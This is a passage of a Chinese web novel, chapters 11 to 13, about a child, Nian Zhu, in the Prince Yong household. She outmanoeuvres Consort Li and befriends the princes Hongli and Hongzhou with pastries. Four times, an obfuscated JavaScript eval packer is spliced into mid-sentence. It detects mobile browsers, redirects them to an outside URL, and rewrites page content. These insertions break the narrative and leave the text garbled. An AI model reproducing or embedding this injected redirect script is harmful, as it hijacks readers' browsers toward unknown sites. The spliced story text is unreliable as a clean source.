“对!”年珠心里所想的“告状”是有技巧的,而不是像秦嬷嬷以为的那样简单,“所以嬷嬷,王爷什么时候能回来?” 她虽想要抱四爷大腿不假,但前提是年若兰一直好好活着,若年若兰仍早早去世,一切都是白谈。 秦嬷嬷不免对年珠高看了几分,道:“七格格,您胆子真大,别说听雪轩那一众小丫鬟小太监看到王爷心里直发怵,就连奴婢看到王爷时……也有些害怕,您竟敢找王爷去告状,不过……” 顿了顿,她这才道:“不过王爷昨儿与侧福晋说了,这几日他都会住在圆明园,不会回来,要不然也不会将接您过来陪侧福晋的。” 年珠:“……” 她很快就振作起来:“好吧,这件事容我好好想想,不过嬷嬷,您可别把这件事告诉姑姑,若叫姑姑知道,肯定要拦着我的。” “七格格,您放心。”秦嬷嬷心里并不赞同年若兰低调行事的做法,人善被人欺,她瞧着李侧福晋等人是越来越张狂,“今儿这事儿绝不会有第三个人知道。” 很快,年珠就带着丫鬟进屋摆饭。 四川一带向来喜辣,这次年珠带来的两个厨娘也是做的一手好川菜,爆炒肚丝、宫保鸡丁、开水白菜……一道道菜是色泽鲜亮,看着就叫人觉得食欲大开。 年珠一个劲儿朝年若兰碗里夹菜,道:“姑姑,您多吃点。” “这道宫保鸡丁好吃,从前在家时,就连祖父吃了都说好。” “还有这道爆炒肚丝也好吃,我可是最喜欢吃这道菜,很是下饭呢!” 但今日的年若兰却是一点胃口都没有,略用了几口饭菜,就摇头道:“珠珠,你吃吧,我实在没有胃口。” 说着,她就站起身道:“我身子不舒服,先进去躺躺吧。” 年珠自然在心里将李侧福晋骂了个狗血喷头,她就不明白,李侧福晋也是没了孩子的母亲,也知道当初孩子夭折时自己是多么伤心欲绝,为何会要这样对年若兰? 她顿时也没了胃口,索性站起来道:“秦嬷嬷,您带我去会会这位李侧福晋吧!” 秦嬷嬷一愣,道:“七格格,这样……不好吧?” “有什么不好的?”年珠已气势汹汹朝外走去,更是回头看她道,“方才不是您说人善被人欺吗?如今有机会,难道您不想替姑姑报仇……” 被她这一激,秦嬷嬷只觉自己若不跟着年珠去找李侧福晋算账,那就是不忠不孝,要遭雷劈的! 前去李侧福晋所居的蔷薇院的路上,年珠对整个雍亲王府的女眷也有了大概的了解。 福晋乌拉那拉氏出身尊贵,是管家的一把好手,看似不苟言笑,公平公正,实则也是有自己的小心思。 李侧福晋当初仗着貌美,曾很得四爷喜欢,但随着她年纪愈大,目光短浅、自视甚高的毛病是显露无疑,自然而然也就失宠了。 钮祜禄格格与耿格格都替四爷生下个一个儿子,耿格格胆小,钮祜禄格格倒是有几分见识,不过却是个老实本分的。 …… 当年珠听秦嬷嬷说起钮祜禄格格老实本分时,忍不住在心里叹了口气——看样子一把年纪的秦嬷嬷也是识人不清啊,这钮祜禄格格可是笑到最后的人,哪里会是个简单的? 可还未等她来得及说话,就察觉到秦嬷嬷脚下的步子放慢了,更听到秦嬷嬷长叹一口气后道:“七格格,要不咱们还是回去吧?” “虽说侧福晋脾气好,但……若她知道这件事后,肯定会生气的。” 这脾气好的人一旦动怒起来,才更吓人! “嬷嬷,你怕什么?天塌下来有个子高的顶着!”年珠扫了惴惴不安的秦嬷嬷一眼,道,“这一路上我已经想好了,我们劝姑姑好好歇几日,我先给李侧福晋些颜色瞧瞧,叫她知道姑姑也不是那么好欺负的。” “到时候,我自会去姑姑跟前认错,就算姑姑再怎么怪,也怪不到您头上来的。” 说话间,她已行至蔷薇院门口,她更是毫不犹豫走了进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172556|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 开弓没有回头箭,事已至此,秦嬷嬷只得硬着头皮跟了上去。 很快,屋内由小丫鬟捶腿的李侧福晋就听说年珠来了的消息。 李侧福晋与四爷年纪相仿,如今已将近四十,当初虽是模样出众,但到底年纪摆在这儿,不管她如何保养,脸上也有了岁月的痕迹。 偏偏她见着王府里一水儿的年轻貌美的女子,不肯服老,衣裳多是水红葱绿等颜色,不知被人笑过多少次“老黄瓜刷绿漆”。 李侧福晋听说年珠来后,却嗤笑一声:“我连年若兰那狐媚子都没放在眼里,还会怕那年家一乳臭未干的小奶娃?” “真是笑话!如今京城上下谁不知道如今王爷看那年家是横看竖看都不顺眼,这小奶娃来了咱们王府,不安分守己也就罢了,还敢上蹦下跳?” “就说我现在有事儿,先晾一晾她吧!” 早在当初年若兰刚进府时,她也曾对这个貌美年轻,出身显赫的女子十分忌惮,可没多久,她就发现年若兰是个不折不扣的软柿子。 既是软柿子,不好好捏一捏哪里对得起自己? 另一边,年珠足足在厅堂等了半个时辰,别说没见到李侧福晋,就连这蔷薇院的大丫鬟都没见到一个。 秦嬷嬷那暴躁的脾气就压不住了,低头看向怡然自得、正吃着糕点的年珠,道:“七格格,这李侧福晋也太不是东西了点,竟叫您等了这么久!” “不过,您怎么还吃得下去?” “我为什么吃不下去?”年珠又咬了一口手中的柿饼,道,“不吃白不吃,我在蔷薇院多吃一口,回姑姑的听雪轩就能少吃一口……” 她这话还没说完,就看到李侧福晋走了进来。 李侧福晋今儿穿着一件青葱色顾绣梅花翠羽的旗服,这样颜色衣裳,年珠穿着好看,年若兰穿……也不错,但穿在李侧福晋身上,看着却有些别扭。 若妆容素净还好些,偏偏李侧福晋还浓妆艳抹,手上、头上、脖子上等地方都挂满了首饰。 远远看去,就像一移动的圣诞树。 人呐,不服老不行啊! 年珠心中这样感叹一句,面上却装出乖觉的样子请安道:“见过李侧福晋,给李侧福晋请安了。” “嗯。”李侧福晋从鼻腔应了一声,不咸不淡道,“我听说过你,你就是年侧福晋的侄女对吧?不知道你来找我可是有什么事儿?” “我听你阿玛向来会钻研,要不然也不会年纪轻轻就当上高官,没想到你小小年纪倒与你阿玛一样呢!” 年珠:“……” 她虽见过情商低的,却没见过情商这样低的,虽说这话中有羞辱她的成分在,但……谁能蠢成这样啊! 她想着这人只怕在四爷跟前也聪明不到哪儿去,面上笑意不减,道:“您说的是,不少人都夸我们家一众孩子中,我和我大哥是最像我阿玛的呢!” “我今日过来没事儿,是来与您道谢的。” “道谢?”李侧福晋本就不大聪明的脑子顿时更转不过来弯了,好奇道,“你与我道什么谢?” 难不成还能是来谢她故意当众往年侧福晋心窝子上戳刀子? 11. 第 11 章 年珠笑道:“方才姑姑回去之后,我听姑姑说起您因福宜表弟去世一事四处打听呢。” “说是您还寻得一高僧,能够叫高僧做法,叫福宜表弟再投胎到姑姑肚子里去,姑姑当时一听这话,高兴的说不出话来。” “等着回去之后,姑姑这才惊觉失礼,她还未与您道谢呢,所以这才派我过来走一趟。” 说着,她嘴角的笑容更深,又道:“敢问李侧福晋,福宜表弟何时能投胎到姑姑肚子里去?姑姑这些时日可是需要做些什么?” “想来李侧福晋您已在众人跟前提起这件事,定是有了十足的把握。” “等着王爷回来,我就将这‘好消息’告诉王爷,王爷定也会十分高兴的……” “别,别告诉王爷!”李侧福晋顿时花容失色起来,忙道,“这件事尚未成功,可别叫王爷白高兴一场……” “李侧福晋,没有十足把握的事,也能往外说吗?”年珠这张胖嘟嘟的小脸上浮现了几分不解,道,“我额娘时常教我,若事情没有做成或没有十足把握之前,是不能随便宣扬出去的。” 她看向李侧福晋,皱眉道:“看您的年纪,比我娘大上不少呢。” “怎么我娘都明白的道理,您不明白?” 说着,她就恍然大悟起来:“哦,我知道了,您这是自谦呢……” 李侧福晋是彻底笑不出来,她是两耳不闻窗外事,一心只盯着四爷和宝贝儿子,所以只将年珠当成个寻常的五岁稚童,压根没怀疑年珠这是故意使坏——要知道弘时五岁时,连话都说不利索呢! 可不管李侧福晋怎么解释,年珠就是一副“我不管,您就是太谦虚”的表情。 到了最后,年珠这才勉勉强强道:“好吧,那我就先不把这件事告诉王爷。” “可额娘时常说我嘴上没个把门的,若是一不小心说漏嘴那就糟了。” “不过李侧福晋您放心好了,我尽力而为……” 李侧福晋连连称是,送走了年珠,至于她对年珠的态度,已从方才的不屑变成了惶恐——若这件事叫四爷知道,那可不得了! 一旁的丫鬟苜蓿给她出主意道:“主子,您何须将一五岁的小娃娃放在心上?想要糊弄她,这还不容易吗?您这几日多往万寿寺跑几趟,嘴上说着是替年侧福晋求神拜佛,但您到底是去做什么的,谁能知道?” “来日就算这件事真传到王爷耳朵里去了,王爷也不会说什么,还会觉得您是真心实意替年侧福晋打算。” 李侧福晋思来想去,只觉现下这是最好的主意。 只是,她万万没想到,年珠不是这么好搪塞的,四爷也不是这么好忽悠的。 年珠一走出蔷薇院后,就对着满脸是笑的秦嬷嬷吩咐道:“嬷嬷,您去找几个人,将今日正院李侧福晋那番话好生宣扬一番,闹得越大越好。” 秦嬷嬷这会已见识到她的本事,忙不迭答应下来。 而接下来几日里,年珠则安心陪在年若兰身边。 她原是想劝年若兰这几日好生在听雪轩休养的,不曾想她这话还没出口,年若兰就病了。 虽说年若兰说的是夜里没盖被子吹了凉风导致的风寒,但整个听雪轩上下都知道,年若兰这是思念故去的福宜小阿哥,所以才病倒的。 这下,秦嬷嬷也正好找了理由,不准任何人进来听雪轩。 这几日的年珠也是乖觉懂事,她不仅亲手喂起年若兰喝汤,更是时常劝慰道:“姑姑,人活着要向前看,您就算不为自己想想,也得为王爷着想才是。” “如今朝中上下是什么局势您也知道,王爷自顾不暇不说,还要担心您。” “只有您身子好好的,王爷才能毫无后顾之忧。” 在年家,她院子里的厨娘足足有六七个,这次她选的两个厨娘不仅仅擅长做川菜,还做的一手好药膳。 是药三分毒,她知道年若兰的身子亏虚得厉害,比起治,更重要的是补。 这几日,那两个厨娘变着法子做各种药膳,像什么当归黄芪鸡汤、枸杞牛骨汤、山药枸杞粥、清炖团鱼、山药汤元……那叫一个应有尽有。 年若兰但凡不想吃,年珠就将四爷搬出来,奏效的很。 年珠喂年若兰吃完一碗山萸肉汤,见年若兰睡下后,这才出门去找秦嬷嬷。 “嬷嬷,那件事怎么样了?” “这几日李侧福晋可有什么动静吗?” 秦嬷嬷顿时是眼角眉梢都带着笑,低声道:“李侧福晋这次可是搬起石头砸自己得脚,这几日她闲来没事就往万寿寺跑,却又担心王爷回来,一日日是早出晚归。” “奴婢见状,又叫人放出风声去,说是心诚则灵,咱们这些凡夫俗子若想显得诚心,要么是日日住在寺庙里吃斋念佛,要么是多多捐香油钱。” “昨儿李侧福晋还差人朝万寿寺捐了三千两银子呢!” 区区三千两银子对身家丰厚的年若兰来说可不算多,但李侧福晋本就家底薄,这些年出手阔绰惯了,三千两银子对她来说可不是一笔小数目。 年珠也跟着笑了起来,道:“我倒是要看看李侧福晋还敢不敢这样!” 李侧福晋这下是真的骑虎难下,她只觉这事是奇了怪了,这流言蜚语怎么就没完没了起来? 她思来想去,便想到了福晋乌拉那拉氏——若她与年若兰斗的两败俱伤,乌拉那拉氏才是最大的赢家! 她一面一日不辍朝万寿寺跑,一面暗戳戳给乌拉那拉氏使绊子。 一时间,年若兰倒是难得过了几天清静日子。 药膳最是养人,不过十来日的时间,年若兰原只有巴掌大的小脸就胖了一圈,脸色也好看不少。 年珠见状,这才将整件事的来龙去脉都道了出来,最后更是拿出良好的认错态度。 “姑姑,您别生气,可别因为这点小事气坏了自己的身子。” “您要是生气,就骂我吧,要还是觉得不解气,打我也行。” 年若兰看了看乖觉的侄女,又看了看以秦嬷嬷为首跪了一地的丫鬟婆子,一时间竟不知该说什么才好。 她呢喃道:“怪不得呢,怪不得这几日李侧福晋没有登门找事!” “侧福晋,自您进门后,一向对李侧福晋客客气气,可她倒好,三天两头故意找事儿!”跪地的秦嬷嬷愤愤不平道,“您与李侧福晋平起平坐,甚至比她在王爷跟前得脸多了,也该给她点颜色看看了。” 年若兰不悦道:“嬷嬷,话不是这样说的,安外必先攘内,我并非怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172557|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李侧福晋,只是不想王爷因内院这些琐事烦心……” “姑姑,话不是这样说的。”年珠握着她的手,正色道,“您越是这样想,李侧福晋等人就越是变本加厉,难不成内院的风平浪静要靠您的步步忍让换来吗?” “如此,只能得来一时的风平浪静,若想叫王爷永无后顾之忧,您得强硬起来,得叫李侧福晋看看您也不是那样好欺负的!” 她总算知道历史上的年贵妃为何在在如此受宠的情况下早亡,换成谁,谁都得抑郁而亡的! 这话听的年若兰一愣。 倒是秦嬷嬷接话道:“是啊,七格格说的极是,若叫老爷他们知道您在雍亲王府过成这样子,不知多伤心呢……” 年珠与秦嬷嬷你一言我一语的,说的年若兰无话可说。 年珠知道,想要改变一个人的想法不能一蹴而就,如今年若兰没有辩驳,已是好的开端。 年若兰虽不大赞同年珠的做法,却也不会傻到把这件事说给李侧福晋等人听,病好的第二日,她就带着年珠前去给乌拉那拉氏请安了。 李侧福晋损失了三千两银子的巨款,又被乌拉那拉氏打压了两回,整个人宛如霜打的茄子,一蹶不振,自然没精力去对付年若兰。 年若兰的眼里心里只有四爷,更不会将李侧福晋放在眼里,含笑与乌拉那拉氏说话。 “妾身身子一向不好,这次病了十来日,多谢福晋记挂,也多谢福晋送来的补品。” 说着,她便为乌拉那拉氏介绍起身侧的年珠来:“因妾身病的突然,还未来得及向福晋你们介绍妾身的侄女呢。” “她叫年珠,是妾身二哥的女儿,王爷想着妾身身子不好,所以接来王府陪妾身住些日子的。” “珠珠,快给福晋见礼。” 年珠虽一向被养的娇气,但该学的规矩却是半点没落下,她大大方方上前与乌拉那拉氏等人见礼。 大概是觉罗氏事先给她“补课”过的缘故,乌拉那拉氏和她想象中是差不多的——不苟言笑,严肃,一看就是管家的一把好手。 比起乌拉那拉氏,她对未来的太后,如今的钮祜禄格格更好奇些。 她行至钮祜禄格格跟前时,眼中含笑,脆生生道:“给钮祜禄格格请安了……” 钮祜禄格格也生的很美,却是与年若兰那种我见犹怜的柔美不一样,她是那种大气舒服、没有攻击性的美,大概就是长辈们嘴里“有福气”长相的。 聪明如钮祜禄格格,也察觉出年珠与自己的示好,忙扶起她道:“七格格莫要见外,福晋常说进了雍亲王府的门,以后就是一家人了。” “说句托大的话,你是年侧福晋的侄女,也就是我的侄女,在我跟前,不必多礼。” “是。”年珠心道这人果然聪明,笑道,“那我以后就唤您钮祜禄姑姑啦。” 嘴甜的孩子有糖吃,她仗着年纪小,喊乌拉那拉氏为“福晋姑姑”,喊钮祜禄格格和耿格格为“钮祜禄姑姑”和“耿姑姑”。 唯独到了李侧福晋跟前,规规矩矩尊称一声李侧福晋,更不忘戳她心窝子道:“李侧福晋,敢问您一声,您帮我姑姑操心的那件事怎么样了?” “不知道什么时候福宜表弟才能再投胎到我姑姑肚子里去?” 12.第 12 章 一时间,李侧福晋面上有些挂不住。 但她早就想好了应对之词,冷声道:“你这个小娃娃知道些什么?你当这等事是下饺子不成?得花时间……” “那我便替姑姑多谢您。”年珠又福了福身子,大大方方道,“我们呀,就等着您的好消息。” 顿时,李侧福晋的脸色是愈发难看——难不成在年若兰没有身孕之前,她当真要一日日往万寿寺跑不成? 她虽年纪不小了,却仍盼着再替四爷生几个孩子呢!四爷子嗣不丰,这孩子越多,她的位置就越稳。 虽说自年若兰进门后很是得宠,但她心里还是对年若兰颇为瞧不上的——长得好看有什么用?这王府的女人,哪个没有好看过?等王爷的新鲜劲儿过了,谁还记得她?多生几个孩子才是要紧事! 年珠一扫眼就猜到了李侧福晋心里在想些什么,连个眼神都不愿给她,乖乖回到年若兰身边坐下。 乌拉那拉氏是个聪明人,自知道年若兰带着年珠过来露脸是什么意思,因年珠额娘是觉罗氏的缘故,所以不必参加选秀,想着多叫年珠在众人跟前露露脸,多见见世面,以后选一门好亲事。 她也乐得在人前扮大度,便道:“……待会儿弘历与弘昼也要过来给我请安的,虽说王府里什么都不缺,却不比你们年家孩子多,你整日也没有玩伴儿。” “正好两位小阿哥也就比你大上三岁而已,若你闲来无事,可以找他们去玩。” “若他们有谁敢欺负你,你只管来找我。” “是。”年珠福身,笑道,“多谢福晋姑姑。” 接下来,则到了一众女子闲话时间。 年若兰怕年珠觉得无聊,就要秦嬷嬷带着她出去玩。 谁知年珠还未走出正院大门,就见着不远处走来两个孩子,这两个孩子约莫七八岁的年纪,身着蓝衣的小男孩小小年纪看着却有几分稳重,倒是他身侧的小男孩走路一蹦一跳的不说,还时不时拽着蓝衣男孩的袖子说什么。 年珠想也不想,就猜到这蓝衣男孩是四阿哥弘历,至于那红衣小男孩,自然是弘昼。 雍亲王府的孩子少得可怜,弘历兄弟俩隔着老远就看到了年珠。 弘历与他额娘一样是个谨慎的性子,不过多看了一眼年珠后,就要进去给乌拉那拉氏请安。 倒是弘昼连走带跳跑过来,一开口就道:“你就是年额娘的侄女是不是?你长得和年额娘挺像的!” “不过年额娘瘦瘦的,你却是胖胖的,你知不知道你的脸像是包子似的……” 四爷不光对自己严苛,对三个儿子也是严格要求,三个儿子一旦满了五岁全部被送到外院住着,弘历与弘昼年纪相仿,两人一向同吃同住,感情好的没话说。 弘历一听弘昼又在胡言乱语,恨不得拿手把他的嘴捂住,连连扯他的袖子,示意他莫要多言。 但弘昼却抽出手,皱眉道:“四哥,你扯我袖子做什么?难道我说的不对吗?” 他指着年珠,扬声道:“我看她的脸不仅像包子,还是豆沙馅的那种,一口咬下去很好吃的样子!” 这话将弘历吓得够呛,低声道:“弘昼,不得胡言乱语!小格格是王府的客人,若叫阿玛知道你对客人不敬,定是要生气的。” 年珠忍不住打量起这兄弟两人来。 她很难将眼前样貌出众,沉稳大方的弘历与后来的乾隆联系到一起,倒是这个弘昼……和她想象中差不多的样子。 在某些方面,弘历与四爷还是挺相似的,四爷登基后善待十三阿哥,弘历登基后善待弘昼,虽然弘昼在很多人看来着实不大靠谱,一言不合当众殴打军机大臣、时不时替自己办场丧事收份子钱……不得不说,弘昼小小年纪就已能窥见他以后的离经叛道。 夏末,空气中已弥漫着几分凉意,但弘历却被弘昼的话急出一身汗来,连忙替弘昼赔不是。 “年七格格,你莫要生气,我五弟弟一向是这样的性子,他不是故意这样说的。” “等着我回去之后,定会好好教他的……” 一个八岁的孩子,竟能懂事成这样?竟能小心成这样? 年珠从弘历的话中,也能看出姑姑年若兰有多得宠,更能看出钮祜禄格格是怎么教孩子的——因四爷一出生就被抱离生母身边,所以整个雍亲王府的孩子,不论身份,都是在额娘身边长大的。 年珠甚至在想,若她是康熙帝,看到这样一个小人儿,也会喜欢的。 年珠笑道:“四阿哥不必见外,您是皇孙龙子,不必与我赔不是。” “年七格格,话不能这样说。”弘历看着年珠的眼睛,一本正经道,“夫子曾教过我们,不贵于无过,而贵于能改过①,额娘时常教导我,我既是兄长,那就要处处提点照顾弘昼……” 可惜,他这话还没说完,就被弘昼打断了:“四哥,夫子说什么不贵?咱们买点尝尝!” 弘历:“……” 他小脸一红,忍不住替弘昼觉得害臊起来。 年珠却是笑了起来。 她顿时明白为何历史上的康熙帝一看到弘历就喜欢上他,这样真心疼爱兄弟的好孩子,谁不喜欢? 这下,就轮到弘昼拽着弘历的袖子不依不饶起来:“四哥,你是不是在与这包子脸格格说什么悄悄话?你们是不是有什么事情瞒着我?到底什么东西不贵?” 年珠难得在一个八岁小娃娃面上看到了老气横秋的无奈。 年珠想着如今既见不到四爷,不如与四爷的两个小崽子搞好关系,兴许有朝一日他们两个也能在四爷跟前替年家美言几句,便直说没事。 弘历想着要给乌拉那拉氏请安,略说了几句话后,很快就进屋请安了。 乌拉那拉氏对这两个孩子淡淡的,说不上喜欢,却也说不上不喜欢,交代两个孩子要用心念书,不得顽皮后,便叫他们回去了。 年若兰等人也没有久留,得了乌拉那拉氏吩咐,转身离开。 回去听雪轩的路上,年若兰牵着年珠的手,与她说起了弘历。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174571|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“雍亲王府的孩子少,个个都是宝贝,王爷最喜欢的却是四阿哥弘历。” “你别看他年纪不大,却是学问出众,你若书上有什么不懂的,可以去问问他。” 年珠连声应下。 其实,就算年若兰不这样说,她也会这样做的。 她曾记得野史上说康熙帝自第一次见到弘历就对他很喜欢,甚至因弘历的关系才决定传召给四爷,其中虽是乾隆不要脸的可能性更大,但隐约也能看出这时候的弘历多讨喜。 对她来说,弘历是弘历,乾隆是乾隆,这两人……如今并没什么关系。 到了傍晚,年珠就拿着书本去请教弘历了。 当然,她自然是不可能空着手去的,还带上了糕点。 等她见到弘历时,弘历正在书桌前看书,听到她说明来意,为她解惑之后又道:“……七妹妹,你今年才五岁,如今该以认字识字为主,不必这样着急背《论语》。” “我这里有一本字帖,你可以先拿回去临摹一二。” 话毕,他就从书柜里找出一本《玄秘塔碑》出来递给年珠。 “多谢四阿哥。”年珠笑道,“那我先回去练字,今日我给你们带了点糕点,这糕点是我阿玛送过来的四川厨娘做的,味道和咱们常吃的糕点不大一样,你们尝尝看。” 毕竟请人帮点小忙,继而送上谢礼,一来一去的,彼此的距离很快就能拉近。 年珠刚接过字帖,命身后的聂乳母递上糕点,就见着正坐在书桌前神游的弘昼一个激灵就坐了起来。 “有糕点吃?快,让我尝尝!” 弘昼三步并两步,就跨到聂乳母跟前,率先打开了食盒。 里头装了六样刚出锅的糕点,窖沙珍珠丸、竹叶糕、椒盐桃酥、犍毛酥芙蓉、糖油果子……码的整整齐齐,看着就叫人食欲大开。 特别是那窖沙珍珠丸,是糯米粉包着豆沙糟,外头再裹上一层小稀米和蜜樱、桃,色泽鲜亮,状如珍珠,不仅好看,更是好吃。 至于糖油果子,不过是用糯团子放入油锅炸的焦酥,再裹上红糖浆,撒上芝麻粒,如今虽在京城不出名,却传承多年、风靡后世,可见美食都是经久流传的。 …… 弘昼先尝了一口糖油果子,好吃的他瞪大了眼睛。 “包子脸格格,这是什么东西?怎么这么好吃!” “焦焦的,酥酥的,比过年皇玛法赏下来的糕点都好吃!” 他又尝了一块窖沙珍珠丸,又是连连点头。 弘历本是不饿的,被他这副模样也馋的勾起了食欲,忍不住吃了几块糕点,也跟着连连称好。 年珠见自己的目的已达到,笑道:“两位阿哥喜欢就好,这糕点味道虽好,但却比不上刚出锅的。” “虽说这糖油果子好吃,但我最喜欢吃的却是酥饺,可这酥饺只有刚出锅的时候才好吃……” 正咬着糖油果子的弘昼是双眼放光,好奇道:“包子脸格格,酥饺是什么?炸饺子吗?” 13.第 13 章 弘昼并不算喜欢吃饺子,在他看来,饺子不过是寻常之物,只要他想吃就能吃到。 但不知为何,他总觉得这个酥饺不同寻常,比糖油果子还好吃的东西,怎么会是寻常东西? 年珠眼见着少年老成的弘历已经开始吃第三个糖油果子,知道自己这步棋走对了,没有人能抗拒糖油混合物的,小孩子更是如此。 “五阿哥,酥饺可不是炸饺子,做法倒不难,用糯米粉下锅炸的酥脆就好了。” “虽做法简单,但想要做的好吃却不是易事,油锅的温度,翻炸的手法……还有糖粉的做法,都大有讲究。” “我最喜欢吃裹着黄豆红糖粉的酥饺,一口咬下去,先是厚厚黄豆粉的醇厚,再是酥饺皮的酥脆,然后才是糯米粉的软糯,别提多好吃了。” “不过,桂花糖霜粉和椒盐芝麻粉的也不错,你们一准喜欢吃。” 弘历兄弟两个顿时觉得手中的糖油果子不香了。 自来熟的弘昼更是咽了口口水,道:“那明天我们能去找你吃酥饺吗?” “当然能。”年珠点点头,道,“正好听雪轩宽敞,我和姑姑两个住在里头寂寥得很,你们若是过来,也能热闹点。” 弘昼毫不犹豫答应下来。 至于弘历,则有几分犹豫不决,并未给个准话。 年珠一回去就将这好消息告诉了年若兰,纵然年若兰嘴上没说,但她却是看得出来,年若兰是个很喜欢孩子的人。 谁知年若兰却道:“珠珠,你莫要高兴的太早,他们……不会来的。” “这是为何?”年珠好奇道。 年若兰苦笑道:“小心驶得万年船,在听雪轩内,不管是我出了事,还是两个小阿哥出了事,都牵涉众多。” “因为我的身份,所有人都笃定我会给王爷生下一儿半女。” “他们都觉得我一心想要福晋的位置,大概不喜欢王府中旁的孩子的存在……” 有了子嗣、得宠且家世出众的侧福晋,在所有人看来,她都不会将福晋放在眼里的,甚至因她刚失去儿子,对四爷情根深种,甚至不会喜欢王府中还有别的孩子的存在。 但年若兰还真没有这样的想法。 年珠听懂了,不管是钮祜禄格格还是耿格格,膝下都只有一个儿子,可是半点风险都不敢冒。 但她想着弘历虽没给她准话,但弘昼却是答应过她的,过了晌午还是吩咐小厨房准备起来。 只是这油锅不知翻腾了多少遍,年珠始终不见两个小阿哥过来。 年珠一直巴巴等在窗前,这样两个小阿哥过来,她就能第一时间看见。 聂乳母见了都觉得心疼:“格格,别等了,年侧福晋都说了他们不会来。” 说着,她更是低声道:“您来雍亲王府之前,福晋就与您说过的,这雍亲王府虽人口不多,却不是寻常百姓家,说什么做什么之前都是大有讲究的……” 年珠微微叹了口气,看样子抱大腿这件事比她想象中难多了,别说搞定四爷,就连想要搞定四爷的两个儿子都不是易事。 她道:“罢了,天都快黑了,想必他们今日不会过来。” “我还是先陪姑姑吃晚饭吧。” 年珠刚陪着年若兰坐下,饭菜还未端上来,外头就传来了急促的脚步声。 然后,就有丫鬟掀开帘子进来通传:“侧福晋,七格格,五阿哥来了。” 年珠笑看着年若兰,喜声道:“姑姑,您看,五阿哥这不是来了嘛!” 说着,她就要迎出去,刚走到门口,她就看到身材浑圆却跑的飞快的弘昼——他这样子,简直就像做贼似的。 弘昼上前给年若兰请安后,则迫不及待看向年珠:“包子脸格格,酥饺了?我的酥饺了?” 很快就有丫鬟将吃食端了上来,而年若兰想着两个孩子说话,自己就先下去了。 没了长辈在场,本就是野马的弘昼像脱了缰似的,一手拿着一个酥饺,烫得他龇牙咧嘴,却舍不得丢开,还点头呢喃道:“好吃!真好吃!” “我可是从昨儿惦记到今日呢!” “这天底下怎么有这样好吃的东西!” 屋外月明星稀,月光轻柔洒在庭院里,很是静谧,两个孩童坐在桌前,吃着热乎乎的美食……这距离,一下又被拉近了许多。 年珠眼睁睁见着弘昼再次伸手去拿酥饺,担心他吃多了积食,道:“五阿哥,要是我没记错的话,这已经是你吃的第五个酥饺了,可不能再吃,要不然会积食的。” 弘昼压根没搭理她。 弘昼在雍亲王府就是小霸王般的存在,天不怕地不怕,就怕四爷——可偏偏如今四爷不在家。 年珠先前也曾听说过这位小霸王的奇闻异事,索性岔开话题道:“五阿哥,今日四阿哥为何没与你一起过来?” “因为四哥要念书啊!”弘昼又咬了一大口酥饺,哽的他直翻白眼,“算算日子,阿玛已经去圆明园住了好些天,也快回来了。” “每次阿玛回来后,第一件事就是去看年额娘,第二件事就是把我们叫到书房,考我们的学问。” “三哥四哥他们当然得加把劲,若被阿玛训斥一顿,可不是闹着玩的。” “那你为什么不念书?”年珠好奇道,“你就不怕被王爷训斥吗?” “我有什么好怕的?阿玛可不会训斥我!”弘昼看了看手中的酥饺,终于吃不下去了,“阿玛每次都是直接动手揍我的,不过挨揍这等事,被揍得习惯了,也就不觉得有什么。” “若哪回阿玛不揍我,我还不习惯呢!” “倒是三哥,我实在搞不懂他,每次阿玛考问他功课总要训他几句,他总会露出一副‘我以后定会好好念书’的模样,可不出几日,这等事又要重演一次,三哥不嫌累,我看的都嫌累呢……” 年珠这才发现弘昼比自己想象中话更多,什么该说不该说得话都往外说,她不听都不行。 弘昼也很快喜欢上这位包子脸格格来,虽说酥饺占了大半部分原因,但更重要的是这人会好好听他说话。 到了最后,他是恋恋不舍挥手道:“……我要回去了,若是叫人发现我偷偷溜过来,我额娘又要气的直掉眼泪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183593|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “包子脸格格,你还是怪好的,我明日再来找你玩。” “每次我与额娘,四哥说什么,话还没开头呢,他们就要我莫要胡说八道。” 